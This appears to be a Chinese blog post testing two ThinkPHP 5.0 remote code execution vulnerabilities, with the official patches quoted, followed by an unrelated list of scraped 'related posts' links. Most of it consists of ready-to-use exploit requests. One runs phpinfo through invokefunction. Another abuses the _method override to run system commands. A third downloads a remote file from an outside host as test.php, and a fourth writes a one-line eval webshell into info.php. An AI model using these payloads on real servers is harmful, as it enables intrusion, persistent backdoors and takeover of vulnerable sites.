ThinkPHP5.0 漏洞测试

自从ThinkPHP发布漏洞补丁以来,服务器不知道多少次受到了批量扫描漏洞来抓取肉鸡的请求
虽然官方早已发布补丁,还是想试一下TP漏洞,测试两个漏洞

一、全版本执行漏洞

<!-- GET -->
http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

由于对控制器名没有明确的检测,在没有开启强制路由的情况下,直接就可以执行phpinfo(),如果服务器未限制shell等函数的执行,便可以直接执行shell提权

详细的漏洞执行过程可以参考 漏洞执行过程

官方补丁

加入正则表达式来限制控制器名

/* /thinkphp/library/think/App.php 555行 加入 */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);
}

二、_method漏洞

<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter[]=system&method=GET&get[]=dir

触发条件

//Config.php
'var_method'             => '_method'

利用$_POST['_method']变量来传递真实的请求方法,当$_POST['_method']=__construct时,Request类的method方法便会将该类的变量进行覆盖,利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令

基于此可以直接上传PHP文件 test.php

<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown

生成一句话木马

<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123

可以在config.php将_method设置为其他字符,或者升级TP

官方补丁

官方补丁中限制了_method可疑设置的请求方法,并在处理_method之后将其unset,无法再利用__construct进行变量覆盖

/* thinkphp/library/think/Request.php */public function method($method = false){if (true === $method) {// 获取原始请求类型return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);} elseif (!$this->method) {if (isset($_POST[Config::get('var_method')])) {$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method;$this->{$this->method}($_POST);} else {$this->method = 'POST';}unset($_POST[Config::get('var_method')]); //unset} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);} else {$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);}}return $this->method;}

参考文章:
https://www.cnblogs.com/st404/p/10245844.html
https://mrxn.net/Infiltration/618.html
https://www.cnblogs.com/nul1/p/11863574.html
https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html
https://www.freebuf.com/vuls/194127.html

ThinkPHP5.0 漏洞测试相关推荐

  1. thinkphp5.0.24反序列化漏洞分析

    thinkphp5.0.24反序列化漏洞分析 文章目录 thinkphp5.0.24反序列化漏洞分析 具体分析 反序列化起点 toArray getRelationData分析 $modelRelat ...

  2. thinkphp5.0.9预处理导致的sql注入复现与详细分析

    复现 先搭建thinkphp5.0.9环境 配置下测试环境 然后访问 http://tptest.cc/index.php/index/index/getage?names[0,updatexml(0 ...

  3. ThinkPHP5.0中Redis的使用和封装(原创)

    Redis是一种常用的非关系型数据库,主要用作数据缓存,数据保存形式为key-value,键值相互映射.它的数据存储跟MySQL不同,它数据存储在内存之中,所以数据读取相对而言很快,用来做高并发非常不 ...

  4. ThinkPHP5.0中Redis的使用和封装

    2019独角兽企业重金招聘Python工程师标准>>> Redis是一种常用的非关系型数据库,主要用作数据缓存,数据保存形式为key-value,键值相互映射.它的数据存储跟MySQ ...

  5. Thinkphp5.0快速入门笔记(3)

    学习来源与说明 https://www.kancloud.cn/thinkphp/thinkphp5_quickstart 测试与部署均在windows10下进行学习. 快速入门第三节 获取当前的请求 ...

  6. Thinkphp5.0快速入门笔记(1)

    学习来源与说明 https://www.kancloud.cn/thinkphp/thinkphp5_quickstart 测试与部署均在windows10下进行学习. Composer安装和更新 C ...

  7. docker安装pocbox(漏洞测试验证辅助平台)

    PoCBox - 漏洞测试验证辅助平台 开发这个平台的初衷是帮助自己在漏洞挖掘测试中更加方便快捷的辅助自己进行漏洞验证. 一开始的想法是框架化.模块化,但是开发着开发着就发现有点累,于是采用了原始的方 ...

  8. php整合支付宝,Thinkphp5.0整合支付宝在线下单

    thinkphp5.0支付宝在线支付下单整个流程,包括创建订单.支付成功回调更新订单状态.最终跳转到商户订单详情页 查看演示 下载资源: 17 次 下载资源 下载积分: 998 积分 支付宝在线支付控 ...

  9. thinkphp5.0验证码使用

    如果没有安装验证码类,可在composer.json 文件的require里面添加 "topthink/think-captcha":"1.*",然后compo ...

最新文章

  1. 可怕!如果张东升是个程序员......
  2. DOM-based XSS Test Cases
  3. binlog工具_基于Binlog实时同步数仓,有哪些不为人知的坑?
  4. 网络安全对现在乃至以后,对人们的安全有着重大的保障
  5. Nexus【环境搭建 01】CentOS 7.5 环境下搭建私有Maven仓库实录(启动问题处理+安装文件 nexus-3.4.0-02-unix.tar.gz 云盘链接)
  6. task search in offline - three filters implementation
  7. 数值运算pythonmopn_Python SciPy库——拟合与插值
  8. 学习《ACM 程序设计》笔记--STL
  9. 如何制作一个横版格斗过关游戏(2) Cocos2d-x 2.0.4 .
  10. ios build lame
  11. sublime能编译PHP吗,让sublime编译php、js
  12. 如何使用pytorch下载MNIST数据集
  13. vue引入图片url变量
  14. html日期选择框源码,日期选择控件实例源码(带节假日)
  15. Google开发者账号申请
  16. java中如何写像下雨_雨声像什么的比喻句,形容下雨的声音的句子
  17. 宝塔面板windows建站教程_宝塔面板建站教程
  18. 爬虫基本库的使用之正则表达式
  19. python 006 __ 小斌文档 | 特殊字符的使用
  20. c#之List深度复制

热门文章

  1. Qt中的QString和QByteArray之间转换
  2. 实战:Docker容器虚拟化技术(使用DockerFile构建镜像并搭建 swarm+compose集群)5
  3. 关于HTTPS的几个问题
  4. JVM类加载机制详解
  5. SpringSecurity自动登录详解
  6. 春晚红包:挺住的百度和崩坏的应用商店
  7. android defStyleAttr/defStyleRes
  8. find grep xargs
  9. SQL Server 2005系列教学(9) SQL 存储过程
  10. ByteBuffer 转 InputStream